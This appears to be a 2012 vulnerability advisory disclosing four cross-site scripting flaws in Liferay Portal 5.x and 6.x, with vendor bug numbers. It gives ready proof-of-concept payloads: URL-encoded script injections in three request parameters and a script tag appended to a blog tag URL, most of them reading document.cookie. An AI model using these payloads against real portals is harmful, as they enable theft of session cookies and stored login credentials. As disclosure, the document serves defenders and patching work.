Liferay 5.x / 6.x Cross Site Scripting

`Multiple xss issues in Liferay  
  
Description:  
  
Liferay Portal is an enterprise portal written in Java  
  
Multiple xss vulnerabilities where found in liferay. Because liferay  
has a "remember me"  
option in their login screen that stores an encrypted password in a  
cookie this is more  
problematic than it otherwise would be  
  
1. xss vulnerability in upload_progress_poller.jsp  
  
http://vulnerablehost/html/portal/upload_progress_poller.jsp?uploadProgressId=a%3D1%3Balert%28document.cookie%29%3B%2F%2F  
  
2. xss vulnerability in ckeditor.jsp  
  
http://vulnerablehost?p_p_id=15&p_p_lifecycle=2&_15_struts_action=/journal/edit_article&ckEditorConfigFileName=ckconfig.jsp%27%2Ca%3Aalert%28document.cookie%29%2Cb%3A%27  
  
3. xss vulnerability in the currency converter portlet  
  
To reproduce :  
  
Drag the currency converter on the home page then go to :  
  
http://localhost:8080/web/guest/home?_16_chartId=%22/%3E%3Cscript%20type=%22text/javascript%22%3Ealert(123);%3C/script%3E&p_p_id=16&p_p_lifecycle=0&p_p_state=maximized&p_p_mode=view&p_p_col_id=column-1&_16_struts_action=%2Fcurrency_converter%2Fview  
  
4. xss vulnerability in the blog portlet  
  
To reproduce :  
  
1. Drag the blog on the home page,  
2. create a blog and add this blog to a category.  
3. Go to the list of blog posts, click on the link to category that  
you assigned to the blog to,  
4. append &tag=<script  
type="text/javascript">alert(document.cookie)</script> to the url that  
was created when you clicked on the link in step 3  
  
Systems affected (by at least one of the vulnerabilities):  
  
Liferay 6.1 ce  
Liferay 6.1 ee  
Liferay 6.0.x  
Liferay 5.2.x  
  
Vendor status :  
  
Liferay was notified april 12 2012 by filing a bugs in their public  
bugtracker under issue numbers  
LPS-27280, LPS-27281, LPS-27282, LPS-27283 The issues have not yet been resolved  
`